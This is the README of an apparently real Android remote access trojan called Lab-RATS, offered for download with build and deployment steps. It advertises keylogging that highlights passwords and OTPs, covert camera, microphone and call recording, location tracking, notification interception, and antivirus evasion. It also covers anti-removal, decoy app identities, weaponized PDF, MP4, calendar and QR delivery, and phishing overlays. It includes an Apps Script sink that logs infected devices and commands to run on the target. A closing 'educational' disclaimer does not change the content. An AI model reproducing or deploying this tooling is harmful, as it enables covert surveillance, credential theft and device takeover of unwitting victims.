> Lightweight Android-Based Remote Administration Tool for Security: *(L.A.B. - R.A.T.S)*
**Developed from the ground up by K4N3CO, Lab-RATS is an open-source, lightweight Android Remote Administration framework** packed with powerful **monitoring** and **interaction capabilities**. The system **automates the generation of custom, signed `.apk` files** for **deployment onto any Android device**, providing **full device telemetry** via a **sleek, web-based C2 dashboard**. Built to adapt to **strict modern mobile environments**, it delivers a **robust feature suite** that **operates reliably** across both **legacy** and the **newest Android releases**.
---
**Lab-RATS leverages the unique characteristics of publicly routable IPv6 addresses assigned by modern Wi-Fi and cellular *(5G/LTE)* carriers**. By **binding the control server directly to a device's Global Unicast Address** *(GUA)*, the tool **completely bypasses Carrier-Grade NAT** *(CGNAT)* and **inbound firewall restrictions**. This architecture **enables seamless, Zero-Configuration peer-to-peer** *(P2P)* **remote access from any modern web browser worldwide**โcompletely **eliminating the need for router manipulation, port forwarding**, or **third-party tunneling services** like **Ngrok** or **Pinggy**.
๐ธ Click to View IPv6 Exploit Vector
> [!NOTE]
> **Lab-RATS now supports IPv4 connections** by **hosting on Render.com** *(Free Tier Supported)*. See **"Command & Control Option 2"** below for the **setup guide**.
---
### ๐ Remote C2 Security & Secure Handshake:
> [!IMPORTANT]
> **DEFAULT PASSWORD = admin1337**
- The **C2 Dashboard** is **protected with a secure login** which can be **changed directly from the Terminal/Home page**. The **Default Password should be reset immediately** for **enhanced security**.
- Uses a **masked credential handshake**. Passwords are **reversed and Base64 encoded** *(`0x_` prefixed)* on the **client-side before transmission**, rendering them **invisible to browser Network/Payload inspectors**.
### ๐ฆ Automated APK Generation, Identity Control & Density Scaling:
- **Instantly build** `signed.apk` for **production** and **testing**.
- **Fully** customize **App Name**, **Package ID**, and **Minimum SDK**.
- **Resize logos automatically** for **all Android screen densities**.
### ๐ฑ PC/Mobile Responsive:
- The **remote web interface** is **fully optimized** for **both PC** and **smartphone browsers**, featuring a **touch-friendly layout, adaptive navigation tabs**, and **scalable UI elements** for **monitoring from any device**.
---
### ๐ APK Payload Delivery Vectors:
- The **Weaponization Engine** has been **overhauled to support multiple high-success delivery methods** *(Stealth PDF, Zero-Click MP4, Meeting Invite and Many More)*, **ensuring reliable access** across **all modern mobile environments**.
### ๐ก๏ธ Evasion Engine:
- **Undetectable by Samsung Knox**, **McAfee** and **Google Play Protect**.
- **Deep Stealth HTML Shield**: The C2 dashoard **utilizes Shadow DOM Cloaking** and **Base64 Payload Wrapping**. Browser "Elements" inspection is **zeroed-out**, and the **tactical structure is ghosted from analysts**.
- **Web Hardening**: Assets *(JS/CSS)* are **minified and obfuscated**; featuring **anti-debugging loops** and **interaction locks** *(Right-Click, F12)* to **prevent unauthorized analysis**.
- **Dynamic Code Obfuscation**: Build-time **randomization** of **logic flow** and **class names via ProGuard/R8 integration**.
- **Encrypted Local Telemetry**: Internal **system logs are encrypted at build-time**, rendering them **unreadable to standard mobile forensic tools**.
### ๐ญ Stealth App Decoys:
**Remotely swap the entire Lab-RATS app identity and icon instantly** using **the "Masquerade Library"** of **convincing, fully functional Clones**:
- ๐ **Play Protect** *(Default)*: **Used for initial install** it **simulates a system stability update** and **auto-grants all permissions *(other than Accessibility services)* during the process**, achieving **highly successful installs**.
- ๐งฎ **Calculator**: **Performs actual math** with a **tactical logic engine**.
- ๐ฆ๏ธ **Weather App**: Displays **real-time localized forecasts** via **Open-Meteo API**.
- ๐ก๏ธ **Software Update**: **Simulates a legitimate system update screen** to **build target trust**.
- ๐ญ **Lab-Rats & System Stability Services**: **Completely unmasked** and **directly opens** the C2 server interface on device.
### โ๏ธ Emergency Recovery & Self Healing:
- **Dialer Unlock**: Type `*#1337#` on the **phone's keypad** to **unmask the Lab-RATS server interface back into view**.
- **Hidden Backdoor**: If the **device is in stealth mode**, **rapidly tap the middle of the decoy screen 10 times** to **unlock the C2 server interface**. *(Reverts to stealth mode again once app is closed)*
- **Automatically detects** and **repairs damaged service bindings** or **revoked permissions in the background**.
- **Anti-Removal**: **On by default** in the **Ghost Tab**, it **prevents the user from uninstalling** or **force-stopping the app** via Settings.
### ๐ Remote Server Restart:
- **Web UI**: **One-click "RESTART_SERVER" button** on the **Terminal tab** to **refresh background services**.
- **SMS Backdoor**: Send an **SMS/Text containing `!RESTART_C2`** to the **devices number** to **force the server back online** even if it was **manually closed or killed by the OS**.
### ๐ป Task-List Ghosting & Dynamic OTA Camouflage:
- The app is **hard-coded** to be **invisible in the Android "Recent Apps" list**.
- Generates **random version names and codes** that **mimic legitimate system OTA updates**.
---
### ๐ป Ghost Operations:
- **Ghost Control/Live Feed**: **Cast & Control the live screen remotely** with **NO "Consent Prompt" required**.
- **Blackout Mode**: A **high-stealth mode** designed to **physically mask the targets device display** while maintaining a **NON-masked live remote feed**. *(Pair with Ghost Control for maximum stealth)*
- **Ghost_Toast**: Remotely deploy **tactical, persistent pop-up overlays** with **fully customizable text** *(color, size, and screen positioning)*. Features **multiple animation styles** *(pop, static, and side-scroll)* alongside a **high-intensity "Burnt_Toast" mode** that **floods the screen with randomized pop-ups** to **overwhelm the device**.
- **Remote System Denial Lock**: Deploy a **persistent, full-screen security overlay** to **lock physical interaction** and **render the device inoperable until hard-reset/restarted** or **unlocked remotely from the C2 dashboard**.
- **Live Keylogging**: Intercept **keystrokes** and **system text in real-time**. Now features **Sensitive Info Highlighting** *(Passcodes, OTPs, Emails glow Red)* and **Deep Extraction** for **browser login info**.
### ๐งช Exploit Factory:
- **NFC Proximity Vector**: Generate **binary NDEF payloads for physical tags**.
- **QR Visual Vector**: Dedicated **high-density QR code generator** for independent URL delivery.
- **Smishing Library**: Pre-configured **tactical phishing templates**.
- **Shadow Overlay**: Remotely **inject functional, pixel-perfect credential-harvesting overlays** to the device.
### ๐ Anti-Removal Shield & Self Destruct *(Optimized)*:
- **High-speed, event-driven protection** that **blocks attempts** to **Uninstall** or **Force Stop** the **app**.
- **Suicide Protocol (Self-Destruct)**: **Remote-triggered persistent loop** that **wipes all local configuration** and **initiates a hard uninstallation of the C2 core**.
### ๐ฐ๏ธ Live GPS Tracking & Intel Stream *(Sniffer)*:
- **One-click uplink** to open the **devices exact real-time location** using **Google Maps**.
- **Intercept every app notification** *(WhatsApp, Telegram, RCS, System...etc)* in a **live feed**.
### ๐ธ Tactical Surveillance Hub *(Ultra-Stability)*:
- **Covert Recording**: **Stealthily record video without any user-facing activity**.
- **Snap Photos**: **Covert image capture** integrated into the **live stream**.
- **Nightmode V2**: Aggressive **electronic brightening** for **low-light environments**. Now features **Hardware Breathe Sync** and **AE Bypass** for **zero-freeze operation** on **modern high-latency sensors**.
### ๐๏ธ Acoustics & Interception:
- **Timed or Live microphone recording** and **automated call recording** for **both incoming and outgoing calls**.
### ๐ Advanced Data Uplink:
- **Integrated File Manager**: **Navigate, download**, and **manage files**. Features an **instant Search Bar** and **Category Filters**.
- **Info Gathering**: Access **Call Logs**, **Contacts**, **Hardware Analytics**, and **Installed Apps** remotely.
- **๐ Direct File Editor**: **Live-edit text, JSON**, and **log files** directly **on the device**.
### ๐ฅ๏ธ Enhanced Remote Shell:
The **Terminal Tabs Built-in Shell has been overhauled** for **professional workflows**:
- **Command History**: Navigate **previous commands instantly** using **Up/Down arrows**.
- **Modernized Interface**: Updated to `root@Android` prompt with **an updated `help` menu**.
- **Hardened I/O**: **Multi-stage retry logic** and **unique execution tracking** for **zero-latency command output**.
### ๐ Telemetry & Reporting:
- **C2 Auto-Reporting**: **Discrete reporting** of **Date & Time, Device ID, Connection Type *(WiFi/Cellular)*, IP, Port, C2 Dashboard Link, Battery % and more** to a **centralized Google Sheet or Render C2**.
---
### ๐ ๏ธ Termux Bridge Integration:
**Lab-RATS** now features a **high-performance bridge to the Termux environment**. If **Termux is installed on the target device**, the remote terminal can **instantly elevate its capabilities**:
- **Auto-Routing**: Common commands like `pkg`, `apt`, `pip`, and `python` are **routed through the bridge**.
- **Unrestricted Tools**: **Install** and **run Python scripts, Nmap scans, or Metasploit** from the **C2 web terminal**.
- **Persistent Environment**: Full support for **Termux's internal storage** and **standard Linux binaries**.
> [!NOTE]
> **Termux Bridge Issues**: "**Termux `allow-external-apps` setting is disabled**" *(Most Common)*.
**Solution**: **On the Target Device** open **Termux and run**:
```zsh
echo "allow-external-apps = true" >> ~/.termux/termux.properties
termux-reload-settings
```
---
+Options)
**Lab-RATS** now supports **TWO primary methods** to **Receive Data, Connect Remotely & Track your Devices**.
### โ๐ป Option 1: Google Sheet *(Updated)*
**Best for basic IP tracking** and **logging**. **No server maintenance required**.
1. **Create** a new Google Sheet.
2. Go to **Extensions** โ **Apps Script** and **Paste in the Hybrid Snippet below:**
```javascript
function doGet(e) { return handleRequest(e); }
function doPost(e) { return
handleRequest(e); }
function handleRequest(e) {
try {
var ss = SpreadsheetApp.getActiveSpreadsheet();
var sheet = ss.getSheetByName("LabRATS Logs") || ss.insertSheet("LabRATS Logs");
// Auto-initialize headers if new sheet
if (sheet.getLastRow() == 0) {
sheet.appendRow([
"Timestamp",
"Model #",
"Connection Type",
"IP Address",
"Port",
"Active C2 Link",
"Battery",
"Stealth Status",
"Power",
"Free Storage"
]);
}
var data = (e.postData && e.postData.contents) ? JSON.parse(e.postData.contents) : e.parameter;
var row = [
new Date(),
data.device || data.model || "Unknown",
data.network || "Unknown",
data.ip || "Unknown",
data.port || "9191",
data.link || "Handshake_Pending",
data.battery || "0%",
(data.stealth === true ||
data.stealth === "true") ? "ACTIVE" : "OFF",
data.charging || "Discharging",
data.storage || "Unknown"
];
sheet.appendRow(row);
return ContentService.createTextOutput("SUCCESS").setMimeType(ContentService.MimeType.TEXT);
} catch (err) {
return ContentService.createTextOutput("ERROR: " + err.message).setMimeType(ContentService.MimeType.TEXT);
}
}
```
3. Click **Deploy** โ **New Deployment** โ **Web App** โ **Execute as Me** *(E-Mail)* โ **Who has Access: Anyone**.
> [!IMPORTANT]
> 4. **Copy the Webhook URL provided** and **prepare to paste it into the APK-builder tool** when **prompted** *(Get Started Section Below)*.
๐ธ Click to View Google Sheet Reporting Example
---
### โ๐ป NEW! Option 2: Tactical Node.js Backend *(Upgraded)*
**Best for newer devices running Android 16/17, Professional Fleet Management** & **Automatic File Exfiltration**.
**1. Fork the Lab-RATS-v1.6 repository**.
**2. Create a new Web Service for Free** on Render.com and **connect your forked Lab-RATS repo**.
**3. Once connected, Set the Root Directory** to `c2-server/`
**4. Set the Build Command** to `npm install` & **the Start Command** to `npm start`
**5. Deploy!**
> [!IMPORTANT]
> **Once live, Copy your Render URL** *(e.g., `https://labrats-github.onrender.com`)*, and **Enter it into the APK-Builder when prompted** for the **C2 Webhook URL** *(Get Started Section Below)*.
๐ธ Click to View Render Setup
๐ธ Click to View Render C2 Screenshot
**Advantages of Option 2**:
- ๐ **Dual-Stack IP Binding**: **Full support for both IPv4 and IPv6 connections**, **enabling seamless C2 telemetry** and **reverse WebSocket tunneling** across **cellular carrier NAT64** and **dual-stack Wi-Fi networks worldwide**.
- ๐ **Exfiltration Vault**: **Audio/Video recordings** are automatically uploaded and **stored on your server**.
- ๐ก **Live Fleet List**: A **professional dashboard** to **manage all devices in one place**, with **editable device name** for **easy device recognition** and **NEW "Quick Action" pull-down menu** to **deploy some features without directly connecting**.
- ๐ **Dynamic Sync**: **Heartbeat reporting** ensures your **P2P links are always up-to-date**.
---
To **Build, Compile**, and **Deploy Lab-RATS** or **Host the C2 server**, ensure **your environment meets the following requirements**:
### 1. Workstation & Build Requirements: *(For Building APKs)*
* **Java Development Kit (JDK)**: **JDK 17 or JDK 21** *(JDK 21 recommended)*.
* Ensure `JAVA_HOME` is set in **your environment paths**.
* **Android SDK**: **Android SDK 34** *(API Level 34)* or **higher**.
* **Build-Tools**: Version `34.0.0` or **higher** *(includes `aapt2`, `zipalign`, and `apksigner`)*.
* **Python 3.x**: Required for **Option 7: Smali Surgery & APK Binder** *(`binder.py`)*.
* **Gradle**: Handled **automatically** via the included `./gradlew` *(Gradle 8.10+)*.
### 2. C2 Server Hosting Requirements: *(For Option 2: Render.com/Railway)*
* **Node.js**: **v18.0.0** or **higher**.
* **npm**: **v9.0.0** or **higher**.
* **Render / Linux Hosting**: 512 MB RAM minimum *(Render Free Tier supported)*.
### 3. Android Device Compatibility:
* **Minimum OS**: **Android 5.0** *(Lollipop/API 21)* or **higher**.
* **Target OS**: **Android 14 - 17** *(API 34 - 37)* **fully supported**.
* **Supported Devices**: **Samsung, Google Pixel, OnePlus, Xiaomi, Motorola, HTC, LG**, and **generic Android devices/
emulators**.
### 4. Operating System Compatibility:
* ๐ง **Linux**: **Kali Linux, Ubuntu, Debian, Arch** *(Full support for build scripts & C2 server)*.
* ๐ **macOS**: **macOS Monterey / Ventura / Sonoma / Sequoia** *(Intel & Apple Silicon M1/M2/M3/M4)*.
* ๐ช **Windows**: **Windows 10 / 11 via PowerShell, Command Prompt**, or **WSL2**.
---
### 1. Building the APK (on PC)
1. **Download the Repository**: `git clone https://github.com/K4N3CO/Lab-RATS-v1.6.git`
2. **Navigate** to: `cd /Lab-RATS-v1.6/apk-builder/`
3. **Execute** the **Builder**:
* **Mac/Linux**: `chmod +x build.sh && ./build.sh`
* **Windows**: `build.bat`
4. **Select a Build Strategy**:
* **Option 1 (Manual)**: For **basic configuration** of **App Name, ID**, and **Logo** before **building**.
* **Option 6 (Infection Chain Wizard)**: For the **Full Build โ Host โ Weaponize** flow.
5. **Enter** your **Google Sheet Webhook URL or Render URL** when **prompted to enable remote device IP reporting and connections** *("Command & Control Options" section above)*.
6. **Retrieve your** `signed.apk` *(and any weaponized payloads like PDFs or MP4s)* from the `Lab-RATS-v1.6/apk-builder/output/` **directory**.
๐ธ Click to View APK-Builder Menu
### 2. Deploying & Installing onto Android Devices
**Deployment** is **a multi-stage process** involving **Weaponization**, **Hosting**, and **Execution**.
#### A. Strategic Weaponization: *(The Wrapper)*
**Standard** `.apk` files are **often blocked by email filters and browser security**. Use the **Infection Chain Wizard** *(Option 6)* in the `apk-builder`tool to **wrap your link inside a high-compatibility carrier file**:
* **๐ Stealth PDF (Highly Recommended)**: Send to **targets via Email or Drive**. It utilizes **URI Actions** instead of **JavaScript** to trigger an **automatic browser-based download, bypassing standard PDF security filters**.
* **๐ฌ Zero-Click MP4**: **Send as a video file**. It **exploits** mobile **Media Heap Overflows** during **gallery indexing or thumbnail generation** to **force-register the C2 link in the background**.
* **๐๏ธ Meeting Invite (ICS)**: Injects a **persistent event** into the **target's Calendar with automated reminders** and a **weaponized "Security Review" link**.
* **๐ณ QR Code / ๐ก NFC**: **Best for physical placement** or **"Tap-to-Infect" proximity delivery**. Generates a **high-density QR** or **NDEF record** pointing to the **hardened delivery URL**.
* **and Many More**: The **Wizard** also supports **ADB Strategic Bridge, Stego Image Tails, PWA Manifests**, and **Office Document macros**.
#### B. Hosting Strategies:
* **Anonymous Cloud**: **Option 6** uses **`Catbox.moe` by default**. It is **anonymous, fast**, and **generates a direct link**. Now has **fallback hosting on `Litterbox` or `Tmpfiles` if `Catbox.moe` fails**.
* **P2P Direct**: Host the **APK directly from your PC using a public tunnel**, or from **another infected device** using the `/download/` endpoint.
#### C. Installation & Initialization:
Once the **target device** downloads the **APK**:
1. **Manual Sideload**: If you have **physical access to the device**, use `adb install signed.apk`
2. **NEW! 'One-Click' Permission Granting (CRITICAL)**: **Open the app ONCE**. **Only the initial pop-up *(Accessibility Services)* must be manually toggled on**, **ALL other permissions are now auto-granted by the system** using a **convincing security sequence**.
- - **Remote Permission Prompt**: If a **user removes any permissions**, you can **remotely trigger the system prompts again** from the **Ghost Tab** using the **repair buttons** in the **GHOST UTILITIES** section.
3. **Self-Vanishing**: A **few seconds after launch**, the app will **automatically replace its icon and name** with the **decoy you chose during build** *("System Update", "Calculator"...etc)*.
4. **Uplink Confirmation**: Check your **Google Sheet or Render C2. Within 5 seconds of initialization**, the **Device ID, Connection Type, IP, Port, C2 Dashboard Link, Battery % and more will appear in the log**.
---
**If** you find **Lab-RATS awesome** and **useful for your security research**, **please Star โญ the project**โit **drives further development!**
**Bug Reports, Add New Feature** and **Pull Requests** are **always welcome!**. *(See [CONTRIBUTING.md](https://github.com/K4N3CO/Lab-RATS/blob/main/CONTRIBUTING.md) for **more info**.)*
---
[
](https://buymeacoffee.com/k4n3co)
```
bc1q8d66m0qthnh6nw9hc5wl09m7pfydk46q5w8rxx
```
---
### Git Clone & APK-Builder Example *(Mac OS)*:
https://github.com/user-attachments/assets/ff955171-67bd-4450-a6ce-4375207e5ae4
---
### NEW! Initial Install Sequence *(One-Click)*:
https://github.com/user-attachments/assets/cab0c7ee-52bb-40a0-b7c6-46a0f8b38c5f
---
### C2 Dashboard *(PC Interface)* - Remote Shell & Decoys:
https://github.com/user-attachments/assets/37109047-b727-4914-b19f-42edcedd770a
---
### C2 Dashboard - Ghost Ops & Locate:
https://github.com/user-attachments/assets/54e15b5c-0d9e-45e8-bb3c-73afad661b13
---
### C2 Dashboard - Covert Camera Hub:
https://github.com/user-attachments/assets/8ab2970a-2a3b-437c-bc20-6bd74bc21cba
---
### 00. Lab-RATS Server Installed on Android Device (Samsung Flip 7):
๐ธ Click to View App Screenshot
---
### 01. Home/Terminal Tab:
๐ธ Click to View Dashboard Screenshot
---
### 02. Ghost Operations Tab:
๐ธ Click to View Dashboard Screenshot
---
### 03. Optics/Live Camera Tab:
๐ธ Click to View Dashboard Screenshot
---
### 04. Locate/Live GPS Tab:
๐ธ Click to View Dashboard Screenshot
---
### 05. Exploit Factory Tab:
๐ธ Click to View Dashboard Screenshot
---
### 06. Device Data/Storage Tab:
๐ธ Click to View Dashboard Screenshot
---
### 07. Intel/App Notifications Tab:
๐ธ Click to View Dashboard Screenshot
---
### 08. SMS/Text Message Tab:
๐ธ Click to View Dashboard Screenshot
---
### 09. MMS/Multimedia Message Tab:
๐ธ Click to View Dashboard Screenshot
---
### 10. Acoustics/Audio Tab:
๐ธ Click to View Dashboard Screenshot
---
### 11. Comms/Call Logs Tab:
๐ธ Click to View Dashboard Screenshot
---
### 12. Contacts Tab:
๐ธ Click to View Dashboard Screenshot
---
### 13. Hardware/Device Info Tab:
๐ธ Click to View Dashboard Screenshot
---
**Lab-RATS is for educational and authorized security testing purposes ONLY!**. The **developers & contributors** assume **NO responsibility** for **ANY** **misuse, damage to devices/relationships caused by this software**. **Please use it responsibly**. **Thank you!**
---
**Lab-RATS-v1.6** is **Licensed** to **K4N3CO** under the [MIT License](LICENSE).
---
